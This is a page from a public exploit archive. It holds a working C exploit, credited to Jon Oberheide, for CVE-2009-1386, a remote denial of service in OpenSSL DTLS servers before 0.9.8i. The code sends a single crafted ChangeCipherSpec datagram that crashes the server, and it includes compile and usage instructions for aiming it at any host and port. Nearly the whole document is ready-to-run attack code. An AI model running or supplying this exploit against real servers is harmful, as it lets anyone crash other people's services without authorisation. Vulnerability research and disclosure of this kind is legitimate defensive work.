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OpenSSL 0.9.8.h DTLS Denial Of Service

OpenSSL 0.9.8.h DTLS Denial Of Service
Posted Jun 4, 2009
Authored by Jon Oberheide

OpenSSL versions below 0.9.8i DTLS ChangeCipherSpec remote denial of service exploit.

tags | exploit, remote, denial of service
advisories | CVE-2009-1386
SHA-256 | c423dfdd2b8cf9bdc5f6306e55b415b44cbfafa64e6fbbae22549b1a42b3810c

OpenSSL 0.9.8.h DTLS Denial Of Service

Change Mirror Download
/*
* cve-2009-1386.c
*
* OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
*
* OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
* the first record instead of ClientHello.
*
* Usage:
*
* Pass the host and port of the target DTLS server:
*
* $ gcc cve-2009-1386.c -o cve-2009-1386
* $ ./cve-2009-1386 1.2.3.4 666
*
* Notes:
*
* Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this
* only requires a single ChangeCipherSpec datagram, but affects an older
* version of OpenSSL.
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
int sock, ret;
char *ptr, *err;
struct hostent *h;
struct sockaddr_in target;
char buf[64];

if (argc < 3) {
err = "Pass the host and port of the target DTLS server";
printf("[-] Error: %s\n", err);
exit(1);
}

h = gethostbyname(argv[1]);
if (!h) {
err = "Unknown host specified";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

target.sin_family = h->h_addrtype;
memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
target.sin_port = htons(atoi(argv[2]));

sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
err = "Failed creating UDP socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
if (ret == -1) {
err = "Failed to connect socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

send(sock, buf, 14, 0);

close(sock);

return 0;
}


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